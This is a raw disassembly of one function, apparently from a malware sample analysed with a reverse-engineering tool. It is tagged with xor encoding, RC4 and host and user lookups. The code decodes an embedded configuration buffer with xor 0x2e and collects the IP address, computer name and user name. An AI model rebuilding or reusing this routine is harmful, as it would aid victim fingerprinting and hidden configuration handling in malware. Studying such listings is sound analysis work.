Function at 0x1002294c
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
push 0x480
call fcn.100072b2
pop ecx
mov ebx, eax
mov esi, 0x100
push esi
push ebx
mov dword [esp + 0x2c], ebx
call fcn.1000746f
push esi
push ebx
mov dword [esp + 0x2c], eax
call fcn.1000746f
push esi
push ebx
mov dword [esp + 0x38], eax
call fcn.1000746f
lea edi, [esi - 0x80]
push edi
push ebx
mov dword [esp + 0x38], eax
call fcn.1000746f
push edi
push ebx
call fcn.1000746f
mov eax, dword [ebp + 8]
and dword [esp + 0x3c], 0
push edi
push ebx
mov dword [0x10059a10], eax
call fcn.1000746f
push edi
push 0
push eax
mov dword [0x10059a0c], eax
call fcn.100364f0
add esp, 0x3c
call fcn.10022da7
mov ebx, 0x400
push ebx
call fcn.1002e8ff
pop ecx
push ebx
mov edi, eax
push 0
push edi
mov dword [0x10059a14], edi
call fcn.100364f0
add esp, 0xc
push 0
push 1
push 1
push ebx
push edi
call fcn.10024c3d
add esp, 0x14
push 8
pop ecx
call fcn.10022d9c
movzx edi, ax
test di, di
jbe 0x10022a64
push 0
call fcn.1000239f
pop ecx
push eax
call sub.WS2_32.dll_htonl
mov dword [esp + 0x10], eax
cmp di, 1
jne 0x10022a2c
and dword [esp + 0x10], 0xff000000
jmp 0x10022a4a
cmp di, 2
jne 0x10022a3c
and dword [esp + 0x10], 0xffff0000
jmp 0x10022a4a
cmp di, 3
jne 0x10022a4a
and dword [esp + 0x10], 0xffffff00
lea eax, [esp + 0x10]
push eax
push 0x1800
push str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
push 4
pop edi
call fcn.1002286b
add esp, 0xc
push 7
pop ecx
call fcn.10022d91
movzx edi, ax
test di, di
jbe 0x10022a97
mov ebx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push ebx
push 6
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push dword [esp + 0xc]
movzx eax, di
call fcn.100228f2
pop ecx
push 6
pop ecx
call fcn.10022d91
movzx edi, ax
test di, di
jbe 0x10022ac8
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0xc]
push eax
push ebx
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [esp + 0xc]
movzx eax, di
call fcn.100228f2
pop ecx
push 5
pop ecx
call fcn.10022d91
movzx edi, ax
test di, di
jbe 0x10022afd
mov ebx, dword [esp + 0x20]
lea eax, [esp + 0xc]
push eax
push ebx
mov dword [esp + 0x14], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
dec dword [esp + 0xc]
push dword [esp + 0xc]
movzx eax, di
call fcn.100228f2
pop ecx
xor eax, eax
mov edi, 0x1800
xor byte [eax + str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR], 0x2e
inc eax
cmp eax, edi
jl 0x10022b04
push 9
pop ecx
call fcn.10022d9c
mov esi, eax
test esi, esi
je 0x10022b59
xor ecx, ecx
mov eax, ecx
cdq
push 3
pop ebx
idiv ebx
movsx edi, byte [ecx + str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR]
and edi, 0xff
inc edx
imul edi, edx
add edi, dword [esp + 0x14]
xor edx, edx
mov eax, edi
mov edi, 0x5f5e0ff
div edi
inc ecx
mov edi, 0x1800
cmp ecx, edi
mov dword [esp + 0x14], edx
jl 0x10022b20
dec esi
jmp 0x10022b5f
xor esi, esi
and dword [esp + 0x14], esi
push edi
lea eax, [esp + 0x2c]
push str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
push eax
call fcn.10007324
add esp, 0xc
cmp esi, dword [esp + 0x14]
jne 0x10022c39
jmp 0x10022c22
lea eax, [esp + 0x28]
push eax
call fcn.10007380
movzx edi, ax
pop ecx
lea eax, [esp + 0x28]
push eax
call fcn.10007380
movsx ebx, si
pop ecx
movzx ecx, ax
mov eax, dword [0x10059a14]
shl ebx, 3
lea esi, [ebx + eax]
movsx eax, di
dec eax
mov word [esi], di
je 0x10022c0c
dec eax
je 0x10022bf5
dec eax
jne 0x10022c22
movsx edi, cx
push edi
call fcn.1002e8ff
pop ecx
push edi
mov dword [esi + 4], eax
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.1000746f
pop ecx
pop ecx
push eax
push dword [esi + 4]
call fcn.10035300
add esp, 0xc
push 0
push 1
push 1
push edi
push dword [esi + 4]
call fcn.10024c3d
add esp, 0x14
jmp 0x10022c22
lea eax, [esp + 0x28]
push eax
call fcn.1000733d
pop ecx
mov ecx, dword [0x10059a14]
mov dword [ebx + ecx + 4], eax
jmp 0x10022c22
lea eax, [esp + 0x28]
push eax
call fcn.10007380
pop ecx
mov ecx, dword [0x10059a14]
mov word [ebx + ecx + 4], ax
lea eax, [esp + 0x28]
push eax
call fcn.10007380
movzx esi, ax
pop ecx
test si, si
jg 0x10022b81
mov esi, dword [esp + 0x24]
call fcn.100072fd
push 0x1800
push 0
push str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
call fcn.100364f0
add esp, 0xc
push 0x11
pop ecx
call fcn.100228e2
mov esi, eax
call fcn.10023f35
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret